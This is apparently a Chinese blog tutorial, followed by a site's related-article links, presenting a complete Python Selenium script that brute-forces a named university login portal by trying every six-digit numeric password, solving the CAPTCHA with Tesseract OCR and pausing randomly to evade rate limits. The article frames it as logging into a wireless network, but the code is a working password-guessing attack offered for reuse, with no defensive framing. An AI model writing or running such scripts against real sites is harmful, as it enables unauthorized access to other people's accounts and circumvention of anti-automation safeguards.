python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python使用zip合并相邻列表项的方法示例
Mar 17 Python
python方法生成txt标签文件的实例代码
May 10 Python
pandas中apply和transform方法的性能比较及区别介绍
Oct 30 Python
python开发准备工作之配置虚拟环境(非常重要)
Feb 11 Python
Python中查看变量的类型内存地址所占字节的大小
Jun 26 Python
详细介绍pandas的DataFrame的append方法使用
Jul 31 Python
python匿名函数用法实例分析
Aug 03 Python
django项目中使用手机号登录的实例代码
Aug 15 Python
WxPython实现无边框界面
Nov 18 Python
Python 格式化打印json数据方法(展开状态)
Feb 27 Python
python+pygame实现坦克大战小游戏的示例代码(可以自定义子弹速度)
Aug 11 Python
python中字典增加和删除使用方法
Sep 30 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
php 正则 过滤html 的超链接
2009/06/02 PHP
php设计模式 Mediator (中介者模式)
2011/06/26 PHP
php实现webservice实例
2014/11/06 PHP
php实现的错误处理封装类实例
2017/06/20 PHP
多浏览器兼容性比较好的复制到剪贴板的js代码
2011/10/09 Javascript
JavaScript中一个奇葩的IE浏览器判断方法
2014/04/16 Javascript
一个奇葩的最短的 IE 版本判断JS脚本
2014/05/28 Javascript
使用nodejs、Python写的一个简易HTTP静态文件服务器
2014/07/18 NodeJs
网站基于flash实现的Banner图切换效果代码
2014/10/14 Javascript
JavaScript开发者必备的10个Sublime Text插件
2016/02/27 Javascript
AngularJs bootstrap搭载前台框架——基础页面
2016/09/01 Javascript
微信小程序 Canvas增强组件实例详解及源码分享
2017/01/04 Javascript
js制作可以延时消失的菜单
2017/01/13 Javascript
jQuery实现图片滑动效果
2017/03/08 Javascript
浅谈微信小程序之官方UI框架we-ui使用教程
2018/08/20 Javascript
用图片替换checkbox原始样式并实现同样的功能
2018/11/15 Javascript
微信小程序点击保存图片到本机功能
2019/12/13 Javascript
node koa2 ssr项目搭建的方法步骤
2020/12/11 Javascript
python基于xmlrpc实现二进制文件传输的方法
2015/06/02 Python
python 转换 Javascript %u 字符串为python unicode的代码
2016/09/06 Python
python3中set(集合)的语法总结分享
2017/03/24 Python
用Python写一段用户登录的程序代码
2018/04/22 Python
对python中的pop函数和append函数详解
2018/05/04 Python
对python3 urllib包与http包的使用详解
2018/05/10 Python
深入浅析python 中的匿名函数
2018/05/21 Python
python pandas生成时间列表
2019/06/29 Python
使用Python打造一款间谍程序的流程分析
2020/02/21 Python
预订全球最佳旅行体验:Viator
2018/03/30 全球购物
试述DBMS的主要功能
2016/11/13 面试题
产品销售员岗位职责
2013/12/18 职场文书
见习报告怎么写
2014/10/31 职场文书
学生个人评语大全
2015/01/04 职场文书
Nginx解决前端访问资源跨域问题的方法详解
2021/03/31 Servers
golang 接口嵌套实现复用的操作
2021/04/29 Golang
Java常用工具类汇总 附示例代码
2021/06/26 Java/Android
python的netCDF4批量处理NC格式文件的操作方法
2022/03/21 Python